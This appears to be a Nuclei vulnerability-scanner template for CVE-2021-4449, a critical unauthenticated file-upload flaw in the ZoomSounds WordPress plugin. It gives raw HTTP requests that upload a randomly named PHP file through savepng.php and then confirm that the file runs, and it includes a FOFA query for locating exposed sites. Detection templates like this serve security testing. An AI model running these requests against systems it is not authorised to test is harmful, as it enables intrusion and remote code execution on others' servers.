id: CVE-2021-4449 info: name: ZoomSounds Plugin - Unauthenticated Arbitrary File Upload author: 0xnemian severity: critical description: | ZoomSounds plugin for WordPress contains a file upload vulnerability in savepng.php impact: | Unauthenticated attackers can upload arbitrary PHP files via savepng.php without authentication or validation, achieving remote code execution and complete server compromise. remediation: | Upgrade to ZoomSounds plugin version that addresses the file upload vulnerability. reference: - https://wpscan.com/vulnerability/07259a61-8ba9-4dd0-8d52-cc1df389c0ad - https://codecanyon.net/item/zoomsounds-wordpress-wave-audio-player-with-playlist/6181433 - https://github.com/0xAgun/Arbitrary-File-Upload-ZoomSounds - https://ithemes.com/blog/wordpress-vulnerability-report-june-2021-part-5/#ib-toc-anchor-2 - https://www.wordfence.com/threat-intel/vulnerabilities/id/262e3bb3-bc83-4d0b-8056-9f94ec141b8f?source=cve classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-4449 cwe-id: CWE-434 epss-score: 0.808 epss-percentile: 0.99174 cpe: cpe:2.3:a:digitalzoomstudio:zoomsounds:*:*:*:*:*:wordpress:*:* metadata: verified: true fofa-query: body="/wp-content/plugins/dzs-zoomsounds/" max-request: 3 vendor: digitalzoomstudio product: zoomsounds framework: wordpress tags: cve,cve2021,wpscan,wp,zoomsounds,intrusive,file-upload,vkev variables: rand_filename: "{{to_lower(rand_base(8))}}" string: "CVE-2021-4449" flow: http(1) && http(2) && http(3) http: - raw: - | GET /wp-content/plugins/dzs-zoomsounds/savepng.php HTTP/1.1 Host: {{Hostname}} matchers: - type: status status: - 200 internal: true - raw: - | POST /wp-content/plugins/dzs-zoomsounds/savepng.php?location={{rand_filename}}.php HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "{{rand_filename}}")' condition: and internal: true - raw: - | GET /wp-content/plugins/dzs-zoomsounds/{{rand_filename}}.php HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "{{md5(string)}}")' condition: and # digest: 4b0a00483046022100b614106f9efa4ae83e71e5aef904bd1cc94b5bdb357cab059e93124a0dd11e92022100b5f35e7988f72abca520fe7edd2b1d963185a19eed41e9561d144eabe511923c:922c64590222798bb761d5b6d8e72950